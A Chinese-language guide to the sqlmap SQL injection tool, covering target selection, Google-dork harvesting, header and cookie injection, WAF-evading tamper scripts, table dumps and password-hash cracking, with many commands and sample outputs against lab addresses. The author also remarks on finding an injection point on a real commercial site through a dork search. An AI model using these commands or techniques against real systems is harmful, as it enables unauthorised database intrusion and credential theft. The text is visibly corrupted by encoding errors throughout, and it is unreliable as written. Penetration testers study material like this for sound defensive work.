http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
當(dāng)給sqlmap這么一個(gè)url的時(shí)候,它會(huì):
1、判斷可注入的參數(shù)
2、判斷可以用那種SQL注入技術(shù)來(lái)注入
3、識(shí)別出哪種數(shù)據(jù)庫(kù)
4、根據(jù)用戶選擇,讀取哪些數(shù)據(jù)
sqlmap支持五種不同的注入模式:
1、基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。
2、基于時(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。
3、基于報(bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中。
4、聯(lián)合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入。
sqlmap支持的數(shù)據(jù)庫(kù)有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
可以提供一個(gè)簡(jiǎn)單的URL,Burp或WebScarab請(qǐng)求日志文件,文本文檔中的完整http請(qǐng)求或者Google的搜索,匹配出結(jié)果頁(yè)面,也可以自己定義一個(gè)正則來(lái)判斷那個(gè)地址去測(cè)試。
測(cè)試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來(lái)確認(rèn)是否有SQL注入,它也可以指定用逗號(hào)分隔的列表的具體參數(shù)來(lái)測(cè)試。
可以設(shè)定HTTP(S)請(qǐng)求的并發(fā)數(shù),來(lái)提高盲注時(shí)的效率。
Youtube上有人做的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實(shí)例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
可以點(diǎn)擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。
也可以使用git來(lái)獲取sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
之后可以直接使用命令來(lái)更新
python sqlmap.py --update
或者
git pull
更新sqlmap
如果你想觀察sqlmap對(duì)一個(gè)點(diǎn)是進(jìn)行了怎樣的嘗試判斷以及讀取數(shù)據(jù)的,可以使用-v參數(shù)。
共有七個(gè)等級(jí),默認(rèn)為1:
0、只顯示python錯(cuò)誤以及嚴(yán)重的信息。
1、同時(shí)顯示基本信息和警告信息。(默認(rèn))
2、同時(shí)顯示debug信息。
3、同時(shí)顯示注入的payload。
4、同時(shí)顯示HTTP請(qǐng)求。
5、同時(shí)顯示HTTP響應(yīng)頭。
6、同時(shí)顯示HTTP響應(yīng)頁(yè)面。
如果你想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3。
獲取目標(biāo)方式
目標(biāo)URL
參數(shù):-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從Burp或者WebScarab代理中獲取日志
參數(shù):-l
可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出來(lái)交給sqlmap來(lái)一個(gè)一個(gè)檢測(cè)是否有注入。
從文本中獲取多個(gè)目標(biāo)掃描
參數(shù):-m
文件中保存url格式如下,sqlmap會(huì)一個(gè)一個(gè)檢測(cè)
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
從文件中加載HTTP請(qǐng)求
參數(shù):-r
sqlmap可以從一個(gè)文本文件中獲取HTTP請(qǐng)求,這樣就可以跳過(guò)設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等)。
比如文本文件內(nèi)如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
當(dāng)請(qǐng)求是HTTPS的時(shí)候你需要配合這個(gè)--force-ssl參數(shù)來(lái)使用,或者你可以在Host頭后門(mén)加上:443
處理Google的搜索結(jié)果
參數(shù):-g
sqlmap可以測(cè)試注入Google的搜索結(jié)果中的GET參數(shù)(只獲取前100個(gè)結(jié)果)。
例子:
python sqlmap.py -g "inurl:\".php?id=1\""
(很牛B的功能,測(cè)試了一下,第十幾個(gè)就找到新浪的一個(gè)注入點(diǎn))
此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關(guān)配置。
請(qǐng)求
http數(shù)據(jù)
參數(shù):--data
此參數(shù)是把數(shù)據(jù)以POST方式提交,sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數(shù)拆分字符
參數(shù):--param-del
當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie頭
參數(shù):--cookie,--load-cookies,--drop-set-cookie
這個(gè)參數(shù)在以下兩個(gè)方面很有用:
1、web應(yīng)用需要登陸的時(shí)候。
2、你想要在這些頭參數(shù)中測(cè)試SQL注入時(shí)。
可以通過(guò)抓包把cookie獲取到,復(fù)制出來(lái),然后加到--cookie參數(shù)里。
在HTTP請(qǐng)求中,遇到Set-Cookie的話,sqlmap會(huì)自動(dòng)獲取并且在以后的請(qǐng)求中加入,并且會(huì)嘗試SQL注入。
如果你不想接受Set-Cookie可以使用--drop-set-cookie參數(shù)來(lái)拒接。
當(dāng)你使用--cookie參數(shù)時(shí),當(dāng)返回一個(gè)Set-Cookie頭的時(shí)候,sqlmap會(huì)詢問(wèn)你用哪個(gè)cookie來(lái)繼續(xù)接下來(lái)的請(qǐng)求。當(dāng)--level的參數(shù)設(shè)定為2或者2以上的時(shí)候,sqlmap會(huì)嘗試注入Cookie參數(shù)。
HTTP User-Agent頭
參數(shù):--user-agent,--random-agent
默認(rèn)情況下sqlmap的HTTP請(qǐng)求頭中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget參數(shù)來(lái)修改,同時(shí)也可以使用--random-agnet參數(shù)來(lái)隨機(jī)的從./txt/user-agents.txt中獲取。
當(dāng)--level參數(shù)設(shè)定為3或者3以上的時(shí)候,會(huì)嘗試對(duì)User-Angent進(jìn)行注入。
HTTP Referer頭
參數(shù):--referer
sqlmap可以在請(qǐng)求中偽造HTTP中的referer,當(dāng)--level參數(shù)設(shè)定為3或者3以上的時(shí)候會(huì)嘗試對(duì)referer注入。
額外的HTTP頭
參數(shù):--headers
可以通過(guò)--headers參數(shù)來(lái)增加額外的http頭
HTTP認(rèn)證保護(hù)
參數(shù):--auth-type,--auth-cred
這些參數(shù)可以用來(lái)登陸HTTP的認(rèn)證保護(hù)支持三種方式:
1、Basic
2、Digest
3、NTLM
例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP協(xié)議的證書(shū)認(rèn)證
參數(shù):--auth-cert
當(dāng)Web服務(wù)器需要客戶端證書(shū)進(jìn)行身份驗(yàn)證時(shí),需要提供兩個(gè)文件:key_file,cert_file。
key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。
HTTP(S)代理
參數(shù):--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式為:http://url:port。
當(dāng)HTTP(S)代理需要認(rèn)證是可以使用--proxy-cred參數(shù):username:password。
--ignore-proxy拒絕使用本地局域網(wǎng)的HTTP(S)代理。
HTTP請(qǐng)求延遲
參數(shù):--delay
可以設(shè)定兩個(gè)HTTP(S)請(qǐng)求間的延遲,設(shè)定為0.5的時(shí)候是半秒,默認(rèn)是沒(méi)有延遲的。
設(shè)定超時(shí)時(shí)間
參數(shù):--timeout
可以設(shè)定一個(gè)HTTP(S)請(qǐng)求超過(guò)多久判定為超時(shí),10.5表示10.5秒,默認(rèn)是30秒。
設(shè)定重試超時(shí)
參數(shù):--retries
當(dāng)HTTP(S)超時(shí)時(shí),可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次。
設(shè)定隨機(jī)改變的參數(shù)值
參數(shù):--randomize
可以設(shè)定某一個(gè)參數(shù)值在每一次請(qǐng)求中隨機(jī)的變化,長(zhǎng)度和類型會(huì)與提供的初始值一樣。
利用正則過(guò)濾目標(biāo)網(wǎng)址
參數(shù):--scope
例如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免過(guò)多的錯(cuò)誤請(qǐng)求被屏蔽
參數(shù):--safe-url,--safe-freq
有的web應(yīng)用程序會(huì)在你多次訪問(wèn)錯(cuò)誤的請(qǐng)求時(shí)屏蔽掉你以后的所有請(qǐng)求,這樣在sqlmap進(jìn)行探測(cè)或者注入的時(shí)候可能造成錯(cuò)誤請(qǐng)求而觸發(fā)這個(gè)策略,導(dǎo)致以后無(wú)法進(jìn)行。
繞過(guò)這個(gè)策略有兩種方式:
1、--safe-url:提供一個(gè)安全不錯(cuò)誤的連接,每隔一段時(shí)間都會(huì)去訪問(wèn)一下。
2、--safe-freq:提供一個(gè)安全不錯(cuò)誤的連接,每次測(cè)試請(qǐng)求之后都會(huì)再訪問(wèn)一邊安全連接。
關(guān)掉URL參數(shù)值編碼
參數(shù):--skip-urlencode
根據(jù)參數(shù)位置,他的值默認(rèn)將會(huì)被URL編碼,但是有些時(shí)候后端的web服務(wù)器不遵守RFC標(biāo)準(zhǔn),只接受不經(jīng)過(guò)URL編碼的值,這時(shí)候就需要用--skip-urlencode參數(shù)。
每次請(qǐng)求時(shí)候執(zhí)行自定義的python代碼
參數(shù):--eval
在有些時(shí)候,需要根據(jù)某個(gè)參數(shù)的變化,而修改另個(gè)一參數(shù),才能形成正常的請(qǐng)求,這時(shí)可以用--eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所寫(xiě)python代碼做完修改后請(qǐng)求。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請(qǐng)求就是每次請(qǐng)求時(shí)根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。
注入
測(cè)試參數(shù)
參數(shù):-p,--skip
sqlmap默認(rèn)測(cè)試所有的GET和POST參數(shù),當(dāng)--level的值大于等于2的時(shí)候也會(huì)測(cè)試HTTP Cookie頭的值,當(dāng)大于等于3的時(shí)候也會(huì)測(cè)試User-Agent和HTTP Referer頭的值。但是你可以手動(dòng)用-p參數(shù)設(shè)置想要測(cè)試的參數(shù)。例如: -p "id,user-anget"
當(dāng)你使用--level的值很大但是有個(gè)別參數(shù)不想測(cè)試的時(shí)候可以使用--skip參數(shù)。
例如:--skip="user-angent.referer"
在有些時(shí)候web服務(wù)器使用了URL重寫(xiě),導(dǎo)致無(wú)法直接使用sqlmap測(cè)試參數(shù),可以在想測(cè)試的參數(shù)后面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap將會(huì)測(cè)試value1的位置是否可注入。
指定數(shù)據(jù)庫(kù)
參數(shù):--dbms
默認(rèn)情況系sqlmap會(huì)自動(dòng)的探測(cè)web應(yīng)用后端的數(shù)據(jù)庫(kù)是什么,sqlmap支持的數(shù)據(jù)庫(kù)有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定數(shù)據(jù)庫(kù)服務(wù)器系統(tǒng)
參數(shù):--os
默認(rèn)情況下sqlmap會(huì)自動(dòng)的探測(cè)數(shù)據(jù)庫(kù)服務(wù)器系統(tǒng),支持的系統(tǒng)有:Linux、Windows。
指定無(wú)效的大數(shù)字
參數(shù):--invalid-bignum
當(dāng)你想指定一個(gè)報(bào)錯(cuò)的數(shù)值時(shí),可以使用這個(gè)參數(shù),例如默認(rèn)情況系id=13,sqlmap會(huì)變成id=-13來(lái)報(bào)錯(cuò),你可以指定比如id=9999999來(lái)報(bào)錯(cuò)。
只定無(wú)效的邏輯
參數(shù):--invalid-logical
原因同上,可以指定id=13把原來(lái)的id=-13的報(bào)錯(cuò)改成id=13 AND 18=19。
注入payload
參數(shù):--prefix,--suffix
在有些環(huán)境中,需要在注入的payload的前面或者后面加一些字符,來(lái)保證payload的正常執(zhí)行。
例如,代碼中是這樣調(diào)用數(shù)據(jù)庫(kù)的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時(shí)你就需要--prefix和--suffix參數(shù)了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執(zhí)行的SQL語(yǔ)句變成:
$query = "SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的數(shù)據(jù)
參數(shù):--tamper
sqlmap除了使用CHAR()函數(shù)來(lái)防止出現(xiàn)單引號(hào)之外沒(méi)有對(duì)注入的數(shù)據(jù)修改,你可以使用--tamper參數(shù)對(duì)數(shù)據(jù)做修改來(lái)繞過(guò)WAF等設(shè)備。
下面是一個(gè)tamper腳本的格式:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
可以查看 tamper/ 目錄下的有哪些可用的腳本
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
探測(cè)
探測(cè)等級(jí)
參數(shù):--level
共有五個(gè)等級(jí),默認(rèn)為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload。
這個(gè)參數(shù)不僅影響使用哪些payload同時(shí)也會(huì)影響測(cè)試的注入點(diǎn),GET和POST的數(shù)據(jù)都會(huì)測(cè)試,HTTP Cookie在level為2的時(shí)候就會(huì)測(cè)試,HTTP User-Agent/Referer頭在level為3的時(shí)候就會(huì)測(cè)試。
總之在你不確定哪個(gè)payload或者參數(shù)為注入點(diǎn)的時(shí)候,為了保證全面性,建議使用高的level值。
風(fēng)險(xiǎn)等級(jí)
參數(shù):--risk
共有四個(gè)風(fēng)險(xiǎn)等級(jí),默認(rèn)是1會(huì)測(cè)試大部分的測(cè)試語(yǔ)句,2會(huì)增加基于事件的測(cè)試語(yǔ)句,3會(huì)增加OR語(yǔ)句的SQL注入測(cè)試。
在有些時(shí)候,例如在UPDATE的語(yǔ)句中,注入一個(gè)OR的測(cè)試語(yǔ)句,可能導(dǎo)致更新的整個(gè)表,可能造成很大的風(fēng)險(xiǎn)。
測(cè)試的語(yǔ)句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。
頁(yè)面比較
參數(shù):--string,--not-string,--regexp,--code
默認(rèn)情況下sqlmap通過(guò)判斷返回頁(yè)面的不同來(lái)判斷真假,但有時(shí)候這會(huì)產(chǎn)生誤差,因?yàn)橛械捻?yè)面在每次刷新的時(shí)候都會(huì)返回不同的代碼,比如頁(yè)面當(dāng)中包含一個(gè)動(dòng)態(tài)的廣告或者其他內(nèi)容,這會(huì)導(dǎo)致sqlmap的誤判。此時(shí)用戶可以提供一個(gè)字符串或者一段正則匹配,在原始頁(yè)面與真條件下的頁(yè)面都存在的字符串,而錯(cuò)誤頁(yè)面中不存在(使用--string參數(shù)添加字符串,--regexp添加正則),同時(shí)用戶可以提供一段字符串在原始頁(yè)面與真條件下的頁(yè)面都不存在的字符串,而錯(cuò)誤頁(yè)面中存在的字符串(--not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態(tài)碼不一樣來(lái)注入,例如,響應(yīng)200的時(shí)候?yàn)檎妫憫?yīng)401的時(shí)候?yàn)榧伲梢蕴砑訁?shù)--code=200。
參數(shù):--text-only,--titles
有些時(shí)候用戶知道真條件下的返回頁(yè)面與假條件下返回頁(yè)面是不同位置在哪里可以使用--text-only(HTTP響應(yīng)體中不同)--titles(HTML的title標(biāo)簽中不同)。
注入技術(shù)
測(cè)試是否是注入
參數(shù):--technique
這個(gè)參數(shù)可以指定sqlmap使用的探測(cè)技術(shù),默認(rèn)情況下會(huì)測(cè)試所有的方式。
支持的探測(cè)方式如下:
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報(bào)錯(cuò)型注入)
U: UNION query SQL injection(可聯(lián)合查詢注入)
S: Stacked queries SQL injection(可多語(yǔ)句查詢注入)
T: Time-based blind SQL injection(基于時(shí)間延遲注入)
設(shè)定延遲注入的時(shí)間
參數(shù):--time-sec
當(dāng)使用繼續(xù)時(shí)間的盲注時(shí),時(shí)刻使用--time-sec參數(shù)設(shè)定延時(shí)時(shí)間,默認(rèn)是5秒。
設(shè)定UNION查詢字段數(shù)
參數(shù):--union-cols
默認(rèn)情況下sqlmap測(cè)試UNION查詢注入會(huì)測(cè)試1-10個(gè)字段數(shù),當(dāng)--level為5的時(shí)候他會(huì)增加測(cè)試到50個(gè)字段數(shù)。設(shè)定--union-cols的值應(yīng)該是一段整數(shù),如:12-16,是測(cè)試12-16個(gè)字段數(shù)。
設(shè)定UNION查詢使用的字符
參數(shù):--union-char
默認(rèn)情況下sqlmap針對(duì)UNION查詢的注入會(huì)使用NULL字符,但是有些情況下會(huì)造成頁(yè)面返回失敗,而一個(gè)隨機(jī)整數(shù)是成功的,這是你可以用--union-char只定UNION查詢的字符。
二階SQL注入
參數(shù):--second-order
有些時(shí)候注入點(diǎn)輸入的數(shù)據(jù)看返回結(jié)果的時(shí)候并不是當(dāng)前的頁(yè)面,而是另外的一個(gè)頁(yè)面,這時(shí)候就需要你指定到哪個(gè)頁(yè)面獲取響應(yīng)判斷真假。--second-order后門(mén)跟一個(gè)判斷頁(yè)面的URL地址。
列數(shù)據(jù)
標(biāo)志
參數(shù):-b,--banner
大多數(shù)的數(shù)據(jù)庫(kù)系統(tǒng)都有一個(gè)函數(shù)可以返回?cái)?shù)據(jù)庫(kù)的版本號(hào),通常這個(gè)函數(shù)是version()或者變量@@version這主要取決與是什么數(shù)據(jù)庫(kù)。
用戶
參數(shù):-current-user
在大多數(shù)據(jù)庫(kù)中可以獲取到管理數(shù)據(jù)的用戶。
當(dāng)前數(shù)據(jù)庫(kù)
參數(shù):--current-db
返還當(dāng)前連接的數(shù)據(jù)庫(kù)。
當(dāng)前用戶是否為管理用
參數(shù):--is-dba
判斷當(dāng)前的用戶是否為管理,是的話會(huì)返回True。
列數(shù)據(jù)庫(kù)管理用戶
參數(shù):--users
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),就可以列出所有管理用戶。
列出并破解數(shù)據(jù)庫(kù)用戶的hash
參數(shù):--passwords
當(dāng)前用戶有權(quán)限讀取包含用戶密碼的彪的權(quán)限時(shí),sqlmap會(huì)現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。
例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
可以看到sqlmap不僅勒出數(shù)據(jù)庫(kù)的用戶跟密碼,同時(shí)也識(shí)別出是PostgreSQL數(shù)據(jù)庫(kù),并詢問(wèn)用戶是否采用字典爆破的方式進(jìn)行破解,這個(gè)爆破已經(jīng)支持Oracle和Microsoft SQL Server。
也可以提供-U參數(shù)來(lái)指定爆破哪個(gè)用戶的hash。
列出數(shù)據(jù)庫(kù)管理員權(quán)限
參數(shù):--privileges
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的權(quán)限,sqlmap將會(huì)告訴你哪個(gè)是數(shù)據(jù)庫(kù)的超級(jí)管理員。也可以用-U參數(shù)指定你想看哪個(gè)用戶的權(quán)限。
列出數(shù)據(jù)庫(kù)管理員角色
參數(shù):--roles
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的角色,也可以用-U參數(shù)指定你想看哪個(gè)用戶的角色。
僅適用于當(dāng)前數(shù)據(jù)庫(kù)是Oracle的時(shí)候。
列出數(shù)據(jù)庫(kù)系統(tǒng)的數(shù)據(jù)庫(kù)
參數(shù):--dbs
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)列表信息的表中的時(shí)候,即可列出所有的數(shù)據(jù)庫(kù)。
列舉數(shù)據(jù)庫(kù)表
參數(shù):--tables,--exclude-sysdbs,-D
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)表信息的表中的時(shí)候,即可列出一個(gè)特定數(shù)據(jù)的所有表。
如果你不提供-D參數(shù)來(lái)列指定的一個(gè)數(shù)據(jù)的時(shí)候,sqlmap會(huì)列出數(shù)據(jù)庫(kù)所有庫(kù)的所有表。
--exclude-sysdbs參數(shù)是指包含了所有的系統(tǒng)數(shù)據(jù)庫(kù)。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數(shù)據(jù)庫(kù)名稱。
列舉數(shù)據(jù)庫(kù)表中的字段
參數(shù):--columns,-C,-T,-D
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)表信息的表中的時(shí)候,即可列出指定數(shù)據(jù)庫(kù)表中的字段,同時(shí)也會(huì)列出字段的數(shù)據(jù)類型。
如果沒(méi)有使用-D參數(shù)指定數(shù)據(jù)庫(kù)時(shí),默認(rèn)會(huì)使用當(dāng)前數(shù)據(jù)庫(kù)。
列舉一個(gè)SQLite的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column? | Type??? |
+---------+---------+
| id????? | INTEGER |
| name??? | TEXT??? |
| surname | TEXT??? |
+---------+---------+
列舉數(shù)據(jù)庫(kù)系統(tǒng)的架構(gòu)
參數(shù):--schema,--exclude-sysdbs
用戶可以用此參數(shù)獲取數(shù)據(jù)庫(kù)的架構(gòu),包含所有的數(shù)據(jù)庫(kù),表和字段,以及各自的類型。
加上--exclude-sysdbs參數(shù),將不會(huì)獲取數(shù)據(jù)庫(kù)自帶的系統(tǒng)庫(kù)內(nèi)容。
MySQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column????? | Type??? |
+-------------+---------+
| cid???????? | int(11) |
| mysignature | text??? |
| password??? | text??? |
| username??? | text??? |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column?????? | Type???? |
+--------------+----------+
| date???????? | datetime |
| blogger_name | text???? |
| cid????????? | int(11)? |
| comment????? | text???? |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column?? | Type???? |
+----------+----------+
| date???? | datetime |
| browser? | text???? |
| cid????? | int(11)? |
| hostname | text???? |
| ip?????? | text???? |
| referer? | text???? |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column? | Type????????? |
+---------+---------------+
| id????? | int(11)?????? |
| name??? | varchar(500)? |
| surname | varchar(1000) |
+---------+---------------+
[...]
獲取表中數(shù)據(jù)個(gè)數(shù)
參數(shù):--count
有時(shí)候用戶只想獲取表中的數(shù)據(jù)個(gè)數(shù)而不是具體的內(nèi)容,那么就可以使用這個(gè)參數(shù)。
列舉一個(gè)Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table????????? | Entries |
+----------------+---------+
| dbo.users????? | 4?????? |
| dbo.users_blob | 2?????? |
+----------------+---------+
獲取整個(gè)表的數(shù)據(jù)
參數(shù):--dump,-C,-T,-D,--start,--stop,--first,--last
如果當(dāng)前管理員有權(quán)限讀取數(shù)據(jù)庫(kù)其中的一個(gè)表的話,那么就能獲取真?zhèn)€表的所有內(nèi)容。
使用-D,-T參數(shù)指定想要獲取哪個(gè)庫(kù)的哪個(gè)表,不適用-D參數(shù)時(shí),默認(rèn)使用當(dāng)前庫(kù)。
列舉一個(gè)Firebird的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME?? | SURNAME??? |
+----+--------+------------+
| 1? | luther | blisset??? |
| 2? | fluffy | bunny????? |
| 3? | wu???? | ming?????? |
| 4? | NULL?? | nameisnull |
+----+--------+------------+
可以獲取指定庫(kù)中的所有表的內(nèi)容,只用-dump跟-D參數(shù)(不使用-T與-C參數(shù))。
也可以用-dump跟-C獲取指定的字段內(nèi)容。
sqlmap為每個(gè)表生成了一個(gè)CSV文件。
如果你只想獲取一段數(shù)據(jù),可以使用--start和--stop參數(shù),例如,你只想獲取第一段數(shù)據(jù)可hi使用--stop 1,如果想獲取第二段與第三段數(shù)據(jù),使用參數(shù) --start 1 --stop 3。
也可以用--first與--last參數(shù),獲取第幾個(gè)字符到第幾個(gè)字符的內(nèi)容,如果你想獲取字段中地三個(gè)字符到第五個(gè)字符的內(nèi)容,使用--first 3 --last 5,只在盲注的時(shí)候使用,因?yàn)槠渌绞娇梢詼?zhǔn)確的獲取注入內(nèi)容,不需要一個(gè)字符一個(gè)字符的猜解。
獲取所有數(shù)據(jù)庫(kù)表的內(nèi)容
參數(shù):--dump-all,--exclude-sysdbs
使用--dump-all參數(shù)獲取所有數(shù)據(jù)庫(kù)表的內(nèi)容,可同時(shí)加上--exclude-sysdbs只獲取用戶數(shù)據(jù)庫(kù)的表,需要注意在Microsoft SQL Server中master數(shù)據(jù)庫(kù)沒(méi)有考慮成為一個(gè)系統(tǒng)數(shù)據(jù)庫(kù),因?yàn)橛械墓芾韱T會(huì)把他當(dāng)初用戶數(shù)據(jù)庫(kù)一樣來(lái)使用它。
搜索字段,表,數(shù)據(jù)庫(kù)
參數(shù):--search,-C,-T,-D
--search可以用來(lái)尋找特定的數(shù)據(jù)庫(kù)名,所有數(shù)據(jù)庫(kù)中的特定表名,所有數(shù)據(jù)庫(kù)表中的特定字段。
可以在一下三種情況下使用:
-C后跟著用逗號(hào)分割的列名,將會(huì)在所有數(shù)據(jù)庫(kù)表中搜索指定的列名。
-T后跟著用逗號(hào)分割的表名,將會(huì)在所有數(shù)據(jù)庫(kù)中搜索指定的表名
-D后跟著用逗號(hào)分割的庫(kù)名,將會(huì)在所有數(shù)據(jù)庫(kù)中搜索指定的庫(kù)名。
運(yùn)行自定義的SQL語(yǔ)句
參數(shù):--sql-query,--sql-shell
sqlmap會(huì)自動(dòng)檢測(cè)確定使用哪種SQL注入技術(shù),如何插入檢索語(yǔ)句。
如果是SELECT查詢語(yǔ)句,sqlap將會(huì)輸出結(jié)果。如果是通過(guò)SQL注入執(zhí)行其他語(yǔ)句,需要測(cè)試是否支持多語(yǔ)句執(zhí)行SQL語(yǔ)句。
列舉一個(gè)Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
